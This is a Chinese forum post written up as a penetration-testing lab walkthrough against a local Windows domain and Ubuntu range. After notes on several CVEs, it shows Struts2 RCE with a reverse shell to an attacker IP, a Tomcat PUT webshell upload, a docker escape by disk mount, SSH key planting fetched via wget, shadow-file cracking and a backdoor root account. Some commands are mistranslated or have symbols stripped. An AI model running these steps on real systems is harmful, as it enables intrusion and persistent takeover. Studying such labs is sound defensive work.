发布于周五 15:344天前 #射击场检查点 ## MS14-068 漏洞 MS14-068是一个众所周知的Windows Kerberos安全漏洞,允许攻击者篡改Kerberos票证以获得非法权限升级。此漏洞特别影响Windows 域控制器,并允许攻击者伪造Kerberos 票证并获得对域中几乎所有帐户的访问权限,包括域管理员权限。这使得攻击者可以随意访问和控制网络中的资源 ## MS17010 漏洞 MS17-010又名“永恒之蓝”,是指美国国家安全局(NSA)于2017年发现并由Shadow Brokers黑客组织披露的一系列Windows操作系统安全漏洞。这些漏洞影响Windows 的服务器消息块(SMB) 协议,这是一种用于Windows 域中的文件共享、打印机共享和其他通信的网络协议。 该漏洞的主要问题在于,它允许未经身份验证的攻击者远程执行任意代码并获得对系统的完全控制,使其成为勒索软件和网络蠕虫等恶意软件的理想传播媒介。利用此漏洞的最著名的攻击是2017 年的WannaCry 勒索软件事件,该事件影响了全球数十万台计算机,并造成了重大财务损失和运营中断。 ## Strust2 漏洞 Apache Struts 2 是一种流行的开源框架,用于创建企业级Java Web 应用程序。 Struts2 漏洞通常涉及远程代码执行,允许攻击者通过发送特制的HTTP 请求来控制或危害目标服务器。 ## CVE-2017-12615 漏洞 CVE-2017-12615 是Apache Tomcat 中发现的一个安全漏洞。该漏洞存在于Tomcat的某些版本中,允许攻击者使用HTTP PUT请求上传恶意JSP文件,然后执行这些文件。这通常是由不正确的配置或不安全的默认设置引起的。以下是该漏洞的一些关键点: 1. **受影响的版本**:受影响的是Apache Tomcat 版本7.0.0 至7.0.79。在Tomcat 7 的某些实现中发现了该问题,后续版本修复了该问题。 2. **漏洞详情**:默认情况下,Tomcat允许使用HTTP PUT方法上传文件。该漏洞利用Tomcat 的这一行为,允许攻击者上传包含恶意代码的JSP 文件。然后,攻击者可以通过访问这些上传的文件来执行服务器端代码。 3. **攻击原理**:攻击者向服务器发送特殊构造的PUT请求。该请求包含恶意JSP 文件的内容。如果服务器配置不正确,攻击者上传的文件可以被服务器接受并保存在可访问的目录中。上传文件后,攻击者可以访问JSP文件来执行服务器端代码,这可能会导致信息泄露和服务器控制。 4. **修复和缓解**:修复此漏洞的主要方法是更新到Apache Tomcat的最新版本,或者至少是不存在此漏洞的安全版本。此外,管理员还可以配置禁用HTTP PUT方法或增强文件上传位置的安全性,以降低遭受攻击的风险。 ## CVE-2018-12163 漏洞 CVE-2018-12613是在phpMyAdmin中发现的安全漏洞。 phpMyAdmin是一款流行的、基于Web的MySQL数据库管理工具,广泛用于管理数据库,包括数据库访问、修改、备份等功能。该漏洞具体涉及本地文件包含(LFI)漏洞,该漏洞允许攻击者根据攻击者的意图和系统配置远程执行代码或读取系统文件。 #射击场建设 ## 机器配置 机器IP网段用户和密码ubuntu(web)192.168.47.186 192.168.183.128ubuntu:ubuntuWindowServer2008(DC) 192.168.183.130administrator:Test2008(我将其更改为qQ123456)Win7(域中的成员机器) 192.168.183.129douser:Dotest123 ## 服务配置 使用docker ps -a 列出当前docker 镜像ID,然后使用docker start [ID] 启动前三个镜像ID # 外部网络管理 ## 信息收集 使用nmap扫描Web机器的开放端口:`nmap -p- 192.168.47.186 -A` 根据以上扫描结果,汇总信息如下表所示 端口服务攻击面22/tcpOpenSSH6.6.1,旧版本常用于远程安全登录暴力破解,旧版本SSH 漏洞2001/tcpJetty 9.2.11.v20150529,轻量级Java HTTP 服务器和servlet 容器旧版本Struts2 漏洞2002/tcpApache Tomcat 8.5.19,广泛使用的开源Java servlet 容器,页面标题为“Apache Tomcat/8.5.19” 配置不当或已知漏洞2003/tcpApache httpd 2.4.25,一款非常流行的开源Web服务器软件,扫描发现旧版本的robots.txt漏洞或配置问题 ## 漏洞利用 ### struts2漏洞 访问`http://192.168.47.186:2001/`,发现是文件上传页面。我随便上传一个图片文件,页面返回一个链接。 `http://192.168.47.186:2001/doUpload.action;jsessionid=1ljs4kw9xe4pukufqkw6zb11d`不返回上传文件的路径 使用【STS2G】(https://github.com/xfiftyone/STS2G)扫描器扫描Struts2漏洞,发现`Strus2-045`漏洞(该漏洞存在于Struts2的文件上传功能中,攻击者可以通过修改HTTP头来执行任意代码) 尝试利用该漏洞远程执行Linux命令。命令执行成功,返回执行结果。通过检查Web服务当前目录,发现目标主机处于docker环境 尝试反弹目标系统外壳。 Kali打开ncj监听本机的4444端口。反弹成功,获得非交互式shell。 ```` /bin/bash -i /dev/tcp/192.168.47.183/4444 01 `` 发现目标系统的python版本为2.7 执行以下命令获得一个相对交互式的shell ```` python -c '导入pty;pty.spawn(\'/bin/bash\')' `` 查看`/etc/passwd`和`/etc/shadow`的内容可以看到,这些账户要么没有密码,要么被禁止登录。当然,这是因为反弹回来的shell是在docker环境中的。稍后我们需要执行docker escape。 ### CVE-2017-12615 访问`http://192.168.47.186:2002`,页面显示Apache Tomcat的版本为8.5.19,该版本存在`CVE-2017-12615`漏洞 使用BurpSuite抓包,将请求方法更改为“PUT”并向目标服务器发送“/test”请求。服务器返回204状态码,表示请求成功。虽然没有返回任何内容,但服务器的204响应通常意味着文件已成功创建或修改 访问`/test`页面,页面成功显示我们上面提交的内容,说明这个漏洞可以被利用 修改提交内容为Godzilla生成的webshell内容,上传文件名为`shell.jsp/`(最后加一个`/`是为了防止服务器过滤关键字) 稍后可以在Godzilla命令行终端远程执行Linux命令 ### CVE-2018-12613 好像是环境设置的时候出了问题,所以没有修复。 ## Docker 逃逸 ### 检查是否在docker容器中 Docker 容器内通常有一个名为“.dockerenv”的文件。可以使用命令ls /.dockerenv 检查这个文件是否存在 使用`hostname`命令查看当前主机名,如果看起来像容器ID(长字符串的哈希值),则可能在容器中 Docker 将使用“cgroup”进行资源隔离。您可以查看`/proc/1/cgroup`文件的内容。如果出现\'docker\'关键字,则说明你当前处于dokcer容器中 具体的环境变量通常在Docker容器中设置。可以通过`env`命令查看环境变量,看看是否有与Docker相关的变量。例如下图中,`JAVA_HOME`设置为`/docker-java-home/jre`,通常是Docker容器中设置的路径 使用`df -h`命令显示当前环境中已挂载的文件系统的信息 - Docker 容器中通常使用“overlay”文件系统类型来覆盖容器文件系统。 - `tmpfs` 挂载是Docker 容器使用的cgroup 文件系统的典型设置,用于提供临时文件存储和容器隔离。 - `/dev/sda1` 挂载在`/etc/hosts` 中,这意味着主机的`/etc/hosts` 文件被挂载到容器中,用于控制容器对网络主机的了解。 - `shm` 大小设置为64M,这是Docker 容器的默认设置,为容器内运行的进程提供共享内存 ### 实施转义 使用“fdisk -l”命令查看磁盘分区表信息。可以发现该磁盘分为三个分区。 sda1是包含Linux文件系统的分区,通常是可挂载的; sda2 是扩展分区,sda5 是虚拟内存的交换分区。两个分区均无法安装 由于docker中的shell具有root权限,因此我们可以挂载`/dev/sda1`分区。分区挂载后,对挂载点目录的任何操作都是对`/dev/sda1`分区的操作。简单来说就是可以通过容器来操作主机 ```` mkdir /黑客 mount /dev/sda1 /hacker #将sda1分区挂载到/hacker目录 `` ## 通过SSH 连接网络机器的三种方式 ### 1.伪造ssh 密钥 进入用户目录,查看当前所有文件(包括隐藏文件),发现有一个隐藏目录`.ssh`,该目录用于存放用户配置文件以及SSH协议相关的认证文件,例如用于SSH密钥认证的私钥和公钥 进入`.ssh`目录并找到`id_rsa`和`id_rsa.pub`文件。这两个文件分别是SSH的私钥和公钥。 在SSH协议中,如果想要远程登录服务器上的某个用户,就需要该用户的私钥。当您使用私钥登录时,服务器会使用对应的公钥来验证您持有的私钥。如果验证成功,将允许您无需输入密码即可登录,并且公钥通常添加到服务器上的特定文件中,例如`~/.ssh/authorized_keys` 我们可以使用kali 中的ssh-keygen 命令来创建SSH 密钥。 “-f”参数用于指定生成的密钥文件的名称路径。然后系统会提示您输入密码(关键短语)。这是一个可选步骤。如果添加的话,可以提高密钥的安全性。如果私钥落入他人手中,他们也需要知道密钥短语才能使用私钥。 ```` ssh-keygen -f mykey `` 然后将在当前目录中生成私钥和公钥文件。我们需要将公钥放在目标服务器上 使用wget命令将公钥上传到目标服务器的.ssh目录,将文件名更改为authorized_keys,并将其权限修改为600 ```` wget http://192.168.47.188:8000/mykey.pub mv mykey.pub 授权密钥 chmod 600 授权密钥 `` 然后使用kali中对应的私钥连接目标主机的ubuntu用户。 ```` ssh -i mykey [email protected] ```` ### 2.密码爆破 查看目标主机的`/etc/shadow`文件内容,复制到kali中使用`john`命令爆破,成功获取`ubuntu`用户的密码 然后使用ssh远程登录目标主机 检查ubuntu用户的权限,发现拥有所有权限 ### 3.创建用户 除了以上两种方法可以实现远程SSH连接目标主机外,还可以直接将root权限的用户写入`/etc/passwd`和`/etc/shadow`中。比如这里我写了一个`hacker`用户,密码是`qq123456` ```` echo 'hacker:x:0:0:/home/hacker:/bin/bash' /hacker/etc/passwd 回声'hacker:$6$d2ABl4.a$1I0lpjZuR/DIU6o/awc904ewsr643Qsss6QqSf8Q7.yUQ9QFNQx6eJQ'/hacker/etc/shadow ````
创建帐户或登录后发表意见